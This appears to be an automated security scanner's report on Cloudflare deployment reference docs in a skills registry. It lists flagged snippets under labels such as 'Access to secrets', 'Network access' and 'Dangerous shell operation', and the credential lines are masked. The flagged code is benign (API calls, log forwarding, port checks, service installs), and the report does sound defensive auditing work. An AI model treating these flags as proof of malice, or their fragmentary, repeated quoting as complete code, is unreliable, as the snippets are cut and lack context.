const { uploadURL, uid } = await fetch('/api/upload-url', { - Network accessline 110
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 111
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 114
[Credential-related source omitted] - Possible obfuscationline 144
'jwk', JSON.parse(atob(jwkBase64)), { name: 'RSASSA-PKCS1-v1_5', hash: 'SHA-256' }, false, ['sign']
packages/autoskills/skills-registry/cloudflare-deploy/references/tail-workers/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/tail-workers/api.md
packages/autoskills/skills-registry/cloudflare-deploy/references/tail-workers/configuration.md
- Network accessline 12
// Process events from producer Worker ctx.waitUntil( fetch(env.LOG_ENDPOINT, { - Network accessline 13
ctx.waitUntil( fetch(env.LOG_ENDPOINT, { method: "POST", - Network accessline 14
fetch(env.LOG_ENDPOINT, { - Network accessline 99
"name": "my-tail-worker", "vars": { "LOG_ENDPOINT": "https://logs.example.com/ingest" - Network accessline 100
"vars": { "LOG_ENDPOINT": "https://logs.example.com/ingest" }, - Network accessline 101
"LOG_ENDPOINT": "https://logs.example.com/ingest"
packages/autoskills/skills-registry/cloudflare-deploy/references/tail-workers/gotchas.md
- Network accessline 13
export default { async tail(events) { fetch(endpoint, { body: JSON.stringify(events) }); - Network accessline 14
async tail(events) { fetch(endpoint, { body: JSON.stringify(events) }); } - Network accessline 15
fetch(endpoint, { body: JSON.stringify(events) }); - Network accessline 20
export default { async tail(events, env, ctx) { await fetch(endpoint, { body: JSON.stringify(events) }); - Network accessline 21
async tail(events, env, ctx) { await fetch(endpoint, { body: JSON.stringify(events) }); } - Network accessline 22
await fetch(endpoint, { body: JSON.stringify(events) }); - Network accessline 29
ctx.waitUntil( (async () => { await fetch(endpoint, { body: JSON.stringify(events) }); - Network accessline 30
(async () => { await fetch(endpoint, { body: JSON.stringify(events) }); await processMore(); - Network accessline 31
await fetch(endpoint, { body: JSON.stringify(events) }); - Network accessline 122
ctx.waitUntil((async () => { try { await fetch(env.ENDPOINT, { body: JSON.stringify(events) }); - Network accessline 123
try { await fetch(env.ENDPOINT, { body: JSON.stringify(events) }); } catch (error) { - Network accessline 124
await fetch(env.ENDPOINT, { body: JSON.stringify(events) }); - Network accessline 165
export default { async fetch(request) { - Network accessline 166
async fetch(request) { - Network accessline 176
Trigger: `curl https://producer.example.workers.dev/test`
packages/autoskills/skills-registry/cloudflare-deploy/references/tail-workers/patterns.md
- Network accessline 34
ctx.waitUntil( fetch(env.LOG_ENDPOINT, { - Network accessline 35
fetch(env.LOG_ENDPOINT, { - Network accessline 55
ctx.waitUntil( fetch(env.ERROR_ENDPOINT, { - Network accessline 56
fetch(env.ERROR_ENDPOINT, { - Network accessline 119
const tasks = []; if (errors.length > 0) { tasks.push(fetch(env.ERROR_ENDPOINT, { - Network accessline 120
if (errors.length > 0) { tasks.push(fetch(env.ERROR_ENDPOINT, { method: "POST", - Network accessline 121
tasks.push(fetch(env.ERROR_ENDPOINT, { - Network accessline 125
} if (success.length > 0) { tasks.push(fetch(env.SUCCESS_ENDPOINT, { - Network accessline 126
if (success.length > 0) { tasks.push(fetch(env.SUCCESS_ENDPOINT, { method: "POST", - Network accessline 127
tasks.push(fetch(env.SUCCESS_ENDPOINT, { - Network accessline 144
async tail(events, env, ctx) { if (Math.random() > 0.1) return; // 10% sample rate ctx.waitUntil(fetch(env.LOG_ENDPOINT, { - Network accessline 145
if (Math.random() > 0.1) return; // 10% sample rate ctx.waitUntil(fetch(env.LOG_ENDPOINT, { method: "POST", - Network accessline 146
ctx.waitUntil(fetch(env.LOG_ENDPOINT, { - Network accessline 162
async tail(events, env, ctx) { const batch = env.BATCH_DO.get(env.BATCH_DO.idFromName("batch")); ctx.waitUntil(batch.fetch("https://batch/add", { - Network accessline 163
const batch = env.BATCH_DO.get(env.BATCH_DO.idFromName("batch")); ctx.waitUntil(batch.fetch("https://batch/add", { method: "POST", - Network accessline 164
ctx.waitUntil(batch.fetch("https://batch/add", {
packages/autoskills/skills-registry/cloudflare-deploy/references/terraform/README.md
- Access to secretsline 49
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/terraform/api.md
packages/autoskills/skills-registry/cloudflare-deploy/references/terraform/configuration.md
- Access to secretsline 67
[Credential-related source omitted] - Network accessline 141
rules { action = "redirect"; enabled = true; expression = "(http.request.uri.path eq \"/old\")" action_parameters { from_value { status_code = 301; target_url { value = "https://example.com/new" }}} - Network accessline 142
action = "redirect"; enabled = true; expression = "(http.request.uri.path eq \"/old\")" action_parameters { from_value { status_code = 301; target_url { value = "https://example.com/new" }}} } - Network accessline 143
action_parameters { from_value { status_code = 301; target_url { value = "https://example.com/new" }}} - Access to secretsline 188
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/terraform/gotchas.md
- Access to secretsline 22
[Credential-related source omitted] - Dangerous shell operationline 110
**Solution:** Import resource back into state with `terraform import cloudflare_zone.example <zone-id>` or remove from state with `terraform state rm cloudflare_zone.example` - Network accessline 148
- [API](./api.md) - Data sources - [Patterns](./patterns.md) - Use cases - Provider docs: https://registry.terraform.io/providers/cloudflare/cloudflare/latest/docs - Network accessline 150
- Provider docs: https://registry.terraform.io/providers/cloudflare/cloudflare/latest/docs
packages/autoskills/skills-registry/cloudflare-deploy/references/terraform/patterns.md
- Access to secretsline 71
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/tunnel/README.md
- Network accessline 90
ingress: - hostname: app.example.com service: http://localhost:8000 - Network accessline 91
- hostname: app.example.com service: http://localhost:8000 - hostname: api.example.com - Network accessline 92
service: http://localhost:8000 - Network accessline 93
- hostname: api.example.com service: https://localhost:8443 originRequest: - Network accessline 94
service: https://localhost:8443
packages/autoskills/skills-registry/cloudflare-deploy/references/tunnel/api.md
- Network accessline 5
**Base URL**: `https://api.cloudflare.com/client/v4` - Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Network accessline 30
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 31
[Credential-related source omitted] - Network accessline 54
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Network accessline 73
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Network accessline 96
"ingress": [ {"hostname": "app.example.com", "service": "http://localhost:8000"}, - Network accessline 97
{"hostname": "app.example.com", "service": "http://localhost:8000"}, - Network accessline 110
config: { ingress: [ { hostname: 'app.example.com', service: 'http://localhost:8000' }, - Network accessline 111
ingress: [ { hostname: 'app.example.com', service: 'http://localhost:8000' }, { service: 'http_status:404' }, - Network accessline 112
{ hostname: 'app.example.com', service: 'http://localhost:8000' }, - Network accessline 124
[Credential-related source omitted] - Access to secretsline 124
[Credential-related source omitted] - Access to secretsline 125
[Credential-related source omitted] - Access to secretsline 152
[Credential-related source omitted] - Access to secretsline 155
[Credential-related source omitted] - Network accessline 172
# Create DNS route curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/tunnels/{tunnel_id}/connections" \ - Network accessline 173
[Credential-related source omitted] - Access to secretsline 173
[Credential-related source omitted] - Access to secretsline 174
[Credential-related source omitted] - Network accessline 177
# Delete route curl -X DELETE "https://api.cloudflare.com/client/v4/accounts/{account_id}/tunnels/{tunnel_id}/connections/{route_id}" \ - Network accessline 178
[Credential-related source omitted] - Access to secretsline 178
[Credential-related source omitted] - Access to secretsline 179
[Credential-related source omitted] - Network accessline 185
# Add IP route curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/tunnels/{tunnel_id}/routes" \ - Network accessline 186
[Credential-related source omitted] - Access to secretsline 186
[Credential-related source omitted] - Access to secretsline 187
[Credential-related source omitted] - Network accessline 190
# List IP routes curl -X GET "https://api.cloudflare.com/client/v4/accounts/{account_id}/tunnels/{tunnel_id}/routes" \ - Network accessline 191
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted] - Access to secretsline 192
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/tunnel/configuration.md
- Network accessline 28
ingress: - hostname: app.example.com service: http://localhost:8000 - Network accessline 29
- hostname: app.example.com service: http://localhost:8000 - service: http_status:404 # Required catch-all - Network accessline 30
service: http://localhost:8000 - Network accessline 41
- hostname: static.example.com path: \.(jpg|png|css|js)$ service: https://localhost:8001 - Network accessline 43
service: https://localhost:8001 - Network accessline 45
# Wildcard hostname - hostname: "*.example.com" service: https://localhost:8002 - Network accessline 47
service: https://localhost:8002 - Network accessline 49
# Path only (all hostnames) - path: /api/.* service: http://localhost:9000 - Network accessline 51
service: http://localhost:9000 - Network accessline 59
cloudflared tunnel ingress validate cloudflared tunnel ingress rule https://foo.example.com - Network accessline 60
cloudflared tunnel ingress rule https://foo.example.com - Network accessline 65
| Protocol | Format | Client Requirement | |----------|--------|-------------------| | HTTP | `http://localhost:8000` | Browser | - Network accessline 66
|----------|--------|-------------------| | HTTP | `http://localhost:8000` | Browser | | HTTPS | `https://localhost:8443` | Browser | - Network accessline 67
| HTTP | `http://localhost:8000` | Browser | - Network accessline 68
| HTTPS | `https://localhost:8443` | Browser | - Network accessline 126
ingress: - hostname: app.example.com service: http://localhost:8000 - Network accessline 127
- hostname: app.example.com service: http://localhost:8000 - service: http_status:404 - Network accessline 128
service: http://localhost:8000
packages/autoskills/skills-registry/cloudflare-deploy/references/tunnel/gotchas.md
- Network accessline 120
cloudflared tunnel --loglevel debug run my-tunnel cloudflared tunnel ingress rule https://app.example.com - Network accessline 121
cloudflared tunnel ingress rule https://app.example.com - Network accessline 130
ingress: - hostname: app.example.com service: http://localhost:8000 - Network accessline 131
- hostname: app.example.com service: http://localhost:8000 - service: http_status:404 - Network accessline 132
service: http://localhost:8000
packages/autoskills/skills-registry/cloudflare-deploy/references/tunnel/networking.md
- Network accessline 65
# Test port 7844 (QUIC/UDP) nc -zvu edge.argotunnel.com 7844 - Network accessline 66
nc -zvu edge.argotunnel.com 7844 - Network accessline 68
# Test port 443 (HTTP/2 fallback) nc -zv edge.argotunnel.com 443 - Network accessline 69
nc -zv edge.argotunnel.com 443 - Network accessline 144
# Enable metrics endpoint cloudflared tunnel --metrics localhost:9090 run my-tunnel curl localhost:9090/metrics | grep cloudflared_tunnel - Network accessline 146
curl localhost:9090/metrics | grep cloudflared_tunnel - Network accessline 148
# Test latency curl -w "time_total: %{time_total}\n" -o /dev/null https://myapp.example.com - Network accessline 149
curl -w "time_total: %{time_total}\n" -o /dev/null https://myapp.example.com
packages/autoskills/skills-registry/cloudflare-deploy/references/tunnel/patterns.md
- Access to secretsline 10
[Credential-related source omitted] - Network accessline 66
ingress: - hostname: app.example.com service: http://localhost:8000 - Network accessline 67
- hostname: app.example.com service: http://localhost:8000 - service: http_status:404 - Network accessline 68
service: http://localhost:8000 - Network accessline 78
ingress: - hostname: myapp.example.com service: http://localhost:3000 - Network accessline 79
- hostname: myapp.example.com service: http://localhost:3000 - service: http_status:404 - Network accessline 80
service: http://localhost:3000 - Network accessline 96
ingress: - hostname: grpc.example.com service: http://localhost:50051 - Network accessline 97
- hostname: grpc.example.com service: http://localhost:50051 originRequest: - Network accessline 98
service: http://localhost:50051 - Network accessline 123
ingress_rule { hostname = "app.example.com" service = "http://localhost:8000" - Network accessline 124
hostname = "app.example.com" service = "http://localhost:8000" } - Network accessline 125
service = "http://localhost:8000" - Network accessline 162
config: { ingressRules: [ { hostname: "app.example.com", service: "http://localhost:8000" }, - Network accessline 163
ingressRules: [ { hostname: "app.example.com", service: "http://localhost:8000" }, { service: "http_status:404" }, - Network accessline 164
{ hostname: "app.example.com", service: "http://localhost:8000" }, - Dangerous shell operationline 190
sudo cloudflared service install - Dangerous shell operationline 191
sudo launchctl start com.cloudflare.cloudflared
packages/autoskills/skills-registry/cloudflare-deploy/references/turn/README.md
- Network accessline 79
- [Cloudflare Calls Documentation](https://developers.cloudflare.com/calls/) - Network accessline 80
- [Cloudflare TURN Service Docs](https://developers.cloudflare.com/realtime/turn/) - Network accessline 81
- [Cloudflare API Reference](https://developers.cloudflare.com/api/resources/calls/subresources/turn/) - Network accessline 82
- [Orange Meets (Open Source Example)](https://github.com/cloudflare/orange)
packages/autoskills/skills-registry/cloudflare-deploy/references/turn/api.md
- Network accessline 9
Base URL: `https://api.cloudflare.com/client/v4` - Network accessline 63
POST https://rtc.live.cloudflare.com/v1/turn/keys/{key_id}/credentials/generate - Network accessline 105
POST https://rtc.live.cloudflare.com/v1/turn/keys/{key_id}/credentials/revoke - Network accessline 193
const response = await fetch( - Network accessline 194
`https://rtc.live.cloudflare.com/v1/turn/keys/${config.keyId}/credentials/generate`,
packages/autoskills/skills-registry/cloudflare-deploy/references/turn/configuration.md
- Access to secretsline 8
[Credential-related source omitted] - Network accessline 69
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 70
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 79
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 80
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 88
const response = await fetch( - Network accessline 89
`https://rtc.live.cloudflare.com/v1/turn/keys/${env.TURN_KEY_ID}/credentials/generate`, - Access to secretsline 93
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/turn/gotchas.md
- Network accessline 101
[Credential-related source omitted] - Network accessline 102
[Credential-related source omitted] - Network accessline 103
const response = await fetch(`https://rtc.live.cloudflare.com/v1/turn/...`, { - Network accessline 107
// ✅ GOOD: Generate credentials server-side const response = await fetch('/api/turn-credentials'); - Network accessline 108
const response = await fetch('/api/turn-credentials'); - Network accessline 135
Reference: [RFC 8445 Section 2.4](https://datatracker.ietf.org/doc/html/rfc8445#section-2.4)
packages/autoskills/skills-registry/cloudflare-deploy/references/turn/patterns.md
- Network accessline 21
async function getTURNConfig(): Promise<RTCIceServer[]> { const response = await fetch('/api/turn-credentials'); - Network accessline 22
const response = await fetch('/api/turn-credentials'); - Network accessline 79
async function refreshTURNCredentials(pc: RTCPeerConnection): Promise<void> { const newCreds = await fetch('/turn-credentials').then(r => r.json()); - Network accessline 80
const newCreds = await fetch('/turn-credentials').then(r => r.json()); - Network accessline 132
const res = await fetch( - Network accessline 133
`https://rtc.live.cloudflare.com/v1/turn/keys/${keyId}/credentials/generate`,
packages/autoskills/skills-registry/cloudflare-deploy/references/turnstile/README.md
- Network accessline 21
<!-- 1. Add script --> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script> - Network accessline 22
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script> - Network accessline 33
<div id="turnstile-container"></div> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> - Network accessline 34
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> - Network accessline 45
// Cloudflare Workers export default { async fetch(request) { - Network accessline 46
export default { async fetch(request) { const formData = await request.formData(); - Network accessline 47
async fetch(request) { - Network accessline 51
const result = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', { - Access to secretsline 55
[Credential-related source omitted] - Network accessline 98
- [Cloudflare Turnstile Docs](https://developers.cloudflare.com/turnstile/) - Network accessline 99
- [Dashboard](https://dash.cloudflare.com/?to=/:account/turnstile)
packages/autoskills/skills-registry/cloudflare-deploy/references/turnstile/api.md
- Network accessline 105
**Endpoint:** `https://challenges.cloudflare.com/turnstile/v0/siteverify` - Network accessline 123
// Cloudflare Workers const result = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', { - Network accessline 124
const result = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', { - Access to secretsline 128
[Credential-related source omitted] - Network accessline 227
<!-- Standard --> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script> - Network accessline 228
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script> - Network accessline 230
<!-- Explicit render mode --> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> - Network accessline 231
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> - Network accessline 233
<!-- With load callback --> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> - Network accessline 234
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script>
packages/autoskills/skills-registry/cloudflare-deploy/references/turnstile/configuration.md
- Network accessline 7
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script> - Network accessline 13
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> - Network accessline 19
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=myCallback"></script> - Network accessline 30
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js?compat=recaptcha"></script> - Network accessline 134
script-src https://challenges.cloudflare.com; - Network accessline 135
frame-src https://challenges.cloudflare.com; - Network accessline 140
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://challenges.cloudflare.com; - Network accessline 141
content="default-src 'self'; script-src 'self' https://challenges.cloudflare.com; frame-src https://challenges.cloudflare.com;"> - Network accessline 142
script-src 'self' https://challenges.cloudflare.com; - Network accessline 143
frame-src https://challenges.cloudflare.com;">
packages/autoskills/skills-registry/cloudflare-deploy/references/turnstile/gotchas.md
- Network accessline 11
[Credential-related source omitted] - Network accessline 12
[Credential-related source omitted] - Network accessline 13
const validation = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', { - Network accessline 125
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://challenges.cloudflare.com; - Network accessline 126
content="script-src 'self' https://challenges.cloudflare.com; - Network accessline 127
frame-src https://challenges.cloudflare.com;"> - Access to secretsline 198
[Credential-related source omitted] - Access to secretsline 205
[Credential-related source omitted] - Access to secretsline 207
[Credential-related source omitted] - Access to secretsline 211
[Credential-related source omitted] - Network accessline 216
- [Turnstile Docs](https://developers.cloudflare.com/turnstile/) - Network accessline 217
- [Dashboard](https://dash.cloudflare.com/?to=/:account/turnstile) - Network accessline 218
- [Error Codes](https://developers.cloudflare.com/turnstile/troubleshooting/)
packages/autoskills/skills-registry/cloudflare-deploy/references/turnstile/patterns.md
- Network accessline 9
<html> <head> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script> - Network accessline 10
<head> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script> </head> - Network accessline 11
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script> - Network accessline 26
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> - Network accessline 38
const response = await fetch('/submit', { - Network accessline 61
e.preventDefault(); if (!token) return; await fetch('/api/submit', { - Network accessline 62
if (!token) return; await fetch('/api/submit', { method: 'POST', - Network accessline 63
await fetch('/api/submit', { - Network accessline 94
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 95
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 107
// Validate token const ip = request.headers.get('CF-Connecting-IP'); const result = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', { - Network accessline 108
const ip = request.headers.get('CF-Connecting-IP'); const result = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', { method: 'POST', - Network accessline 109
const result = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', { - Access to secretsline 113
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Network accessline 151
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> - Access to secretsline 191
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/vectorize/README.md
- Network accessline 130
- [Official Docs](https://developers.cloudflare.com/vectorize/) - Network accessline 131
- [Client API Reference](https://developers.cloudflare.com/vectorize/reference/client-api/) - Network accessline 132
- [Workers AI Models](https://developers.cloudflare.com/workers-ai/models/#text-embeddings) - Network accessline 133
- [Discord: #vectorize](https://discord.cloudflare.com)
packages/autoskills/skills-registry/cloudflare-deploy/references/waf/README.md
- Access to secretsline 27
[Credential-related source omitted] - Network accessline 111
- [Cloudflare WAF Docs](https://developers.cloudflare.com/waf/) - Network accessline 112
- [Ruleset Engine](https://developers.cloudflare.com/ruleset-engine/) - Network accessline 113
- [Expression Reference](https://developers.cloudflare.com/ruleset-engine/rules-language/)
packages/autoskills/skills-registry/cloudflare-deploy/references/waf/api.md
- Access to secretsline 9
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/waf/configuration.md
- Network accessline 5
**API Token**: Create at https://dash.cloudflare.com/profile/api-tokens - Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Network accessline 196
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 197
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 198
return fetch(`https://api.cloudflare.com/client/v4/zones/${env.ZONE_ID}/rulesets`, { - Access to secretsline 199
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/waf/patterns.md
- Access to secretsline 163
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/web-analytics/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/web-analytics/configuration.md
packages/autoskills/skills-registry/cloudflare-deploy/references/web-analytics/gotchas.md
- Network accessline 18
script-src 'self' https://static.cloudflareinsights.com https://cloudflareinsights.com;
packages/autoskills/skills-registry/cloudflare-deploy/references/web-analytics/integration.md
- Network accessline 8
<script defer src='https://static.cloudflareinsights.com/beacon.min.js' - Network accessline 45
script-src 'self' https://static.cloudflareinsights.com; - Network accessline 46
connect-src 'self' https://cloudflareinsights.com; - Network accessline 53
if (localStorage.getItem('analytics-consent') === 'true') { const script = document.createElement('script'); script.src = 'https://static.cloudflareinsights.com/beacon.min.js'; - Network accessline 54
const script = document.createElement('script'); script.src = 'https://static.cloudflareinsights.com/beacon.min.js'; script.defer = true; - Network accessline 55
script.src = 'https://static.cloudflareinsights.com/beacon.min.js';
packages/autoskills/skills-registry/cloudflare-deploy/references/web-analytics/patterns.md
- Network accessline 46
if (consent === 'accepted') { const script = document.createElement('script'); script.src = 'https://static.cloudflareinsights.com/beacon.min.js'; - Network accessline 47
[Credential-related source omitted] - Network accessline 48
script.src = 'https://static.cloudflareinsights.com/beacon.min.js'; - Access to secretsline 69
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/workerd/api.md
- Network accessline 7
export default { async fetch(request, env, ctx) { - Network accessline 8
async fetch(request, env, ctx) { - Network accessline 9
const value = await env.KV.get("key"); // Bindings in env const response = await env.API.fetch(request); // Service binding ctx.waitUntil(logRequest(request)); // Background task - Network accessline 10
const response = await env.API.fetch(request); // Service binding - Access to secretsline 34
[Credential-related source omitted] - Network accessline 37
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 38
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 71
async fetch(request) { - Network accessline 96
### Fetch - `fetch()`, `Request`, `Response`, `Headers` - Network accessline 97
- `fetch()`, `Request`, `Response`, `Headers` - Network accessline 128
const response = await fetch('https://example.com');
packages/autoskills/skills-registry/cloudflare-deploy/references/workerd/configuration.md
- Access to secretsline 68
[Credential-related source omitted] - Network accessline 122
const derived :Workerd.Worker = ( inherit = "base-service", bindings = [(name = "API_URL", text = "https://api.com"), (name = "DB", service = "postgres")] - Network accessline 123
inherit = "base-service", bindings = [(name = "API_URL", text = "https://api.com"), (name = "DB", service = "postgres")] ); - Network accessline 124
bindings = [(name = "API_URL", text = "https://api.com"), (name = "DB", service = "postgres")] - Access to secretsline 150
[Credential-related source omitted] - Access to secretsline 159
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/workerd/gotchas.md
- Network accessline 53
### "Worker not responding" **Cause:** Socket misconfigured, no fetch handler, or port unavailable **Solution:** Verify socket `address` matches, worker exports `fetch()`, port available - Network accessline 55
**Solution:** Verify socket `address` matches, worker exports `fetch()`, port available - Network accessline 113
**Problem:** Breaking changes after compat date update **Cause:** New flags enabled between dates **Solution:** Review [compat dates docs](https://developers.cloudflare.com/workers/configuration/compatibility-dates/), test locally first - Network accessline 115
**Solution:** Review [compat dates docs](https://developers.cloudflare.com/workers/configuration/compatibility-dates/), test locally first - Network accessline 135
5. **Check versions**: Workerd version vs compat date 6. **Isolate issue**: Minimal repro config 7. **Review schema**: [workerd.capnp](https://github.com/cloudflare/workerd/blob/main/src/workerd/server/workerd.capnp) - Network accessline 137
7. **Review schema**: [workerd.capnp](https://github.com/cloudflare/workerd/blob/main/src/workerd/server/workerd.capnp)
packages/autoskills/skills-registry/cloudflare-deploy/references/workerd/patterns.md
- Network accessline 44
const prodWorker :Workerd.Worker = ( inherit = "base-service", bindings = [(name = "API_URL", text = "https://api.prod.com")] - Network accessline 45
inherit = "base-service", bindings = [(name = "API_URL", text = "https://api.prod.com")] ); - Network accessline 46
bindings = [(name = "API_URL", text = "https://api.prod.com")] - Network accessline 164
export default { async fetch(request, env, ctx) { - Network accessline 165
async fetch(request, env, ctx) { - Network accessline 178
export default { async fetch(request, env, ctx) { - Network accessline 179
async fetch(request, env, ctx) {
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-ai/README.md
- Network accessline 24
export default { async fetch(request: Request, env: Env) { - Network accessline 25
async fetch(request: Request, env: Env) { - Network accessline 93
curl https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/ai/run/@cf/meta/llama-3.1-8b-instruct \ - Network accessline 106
const model = openai('model-name', { baseURL: 'https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/ai/v1', - Network accessline 107
baseURL: 'https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/ai/v1', - Network accessline 171
# View model catalog # https://developers.cloudflare.com/workers-ai/models/ - Network accessline 172
# https://developers.cloudflare.com/workers-ai/models/
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-ai/api.md
- Network accessline 94
curl https://api.cloudflare.com/client/v4/accounts/{account_id}/ai/run/@cf/meta/llama-3.1-8b-instruct \
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-ai/configuration.md
- Network accessline 27
export default { async fetch(request: Request, env: Env) { - Network accessline 28
async fetch(request: Request, env: Env) { - Network accessline 46
const response = await fetch( - Network accessline 47
`https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/ai/run/@cf/meta/llama-3.1-8b-instruct`, - Access to secretsline 50
[Credential-related source omitted] - Network accessline 63
[Credential-related source omitted] - Network accessline 64
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Network accessline 65
baseURL: `https://api.cloudflare.com/client/v4/accounts/${env.ACCOUNT_ID}/ai/v1`
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-ai/gotchas.md
- Network accessline 9
// ✅ CORRECT - Use native binding export default { async fetch(request: Request, env: Env) { - Network accessline 10
export default { async fetch(request: Request, env: Env) { await env.AI.run('@cf/meta/llama-3.1-8b-instruct', { messages: [...] }); - Network accessline 11
async fetch(request: Request, env: Env) { - Network accessline 109
import { openai } from '@ai-sdk/openai'; const model = openai('gpt-3.5-turbo', { baseURL: 'https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/ai/v1', - Network accessline 110
[Credential-related source omitted] - Network accessline 111
baseURL: 'https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/ai/v1',
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-for-platforms/README.md
- Network accessline 18
**One-click deploy:** [Platform Starter Kit](https://github.com/cloudflare/workers-for-platforms-example) deploys complete WfP setup with dispatch namespace, dispatch worker, and user worker example. - Network accessline 20
[](https://deploy.workers.cloudflare.com/?url=https://github.com/cloudflare/workers-for-platforms-example) - Network accessline 86
- [durable-objects](../durable-objects/) - Stateful multi-tenant patterns - [sandbox](../sandbox/) - Alternative for untrusted code execution - [Reference Architecture: Programmable Platforms](https://developers.cloudflare.com/reference-arc - Network accessline 87
- [sandbox](../sandbox/) - Alternative for untrusted code execution - [Reference Architecture: Programmable Platforms](https://developers.cloudflare.com/reference-architecture/diagrams/serverless/programmable-platforms/) - [Reference Archit - Network accessline 88
- [Reference Architecture: Programmable Platforms](https://developers.cloudflare.com/reference-architecture/diagrams/serverless/programmable-platforms/) - Network accessline 89
- [Reference Architecture: AI Vibe Coding Platform](https://developers.cloudflare.com/reference-architecture/diagrams/ai/ai-vibe-coding-platform/)
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-for-platforms/api.md
- Network accessline 6
[Credential-related source omitted] - Access to secretsline 6
[Credential-related source omitted] - Network accessline 7
"https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/workers/dispatch/namespaces/$NAMESPACE/scripts/$SCRIPT_NAME" \ - Access to secretsline 8
[Credential-related source omitted] - Access to secretsline 17
[Credential-related source omitted] - Network accessline 47
interface DynamicDispatchLimits { cpuMs?: number; // Max CPU milliseconds subRequests?: number; // Max fetch() calls - Network accessline 48
cpuMs?: number; // Max CPU milliseconds subRequests?: number; // Max fetch() calls } - Network accessline 49
subRequests?: number; // Max fetch() calls - Network accessline 61
curl -X PUT ".../scripts/$SCRIPT_NAME" \ - Network accessline 76
# List curl "https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/workers/dispatch/namespaces/$NAMESPACE/scripts" \ - Network accessline 77
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted] - Network accessline 80
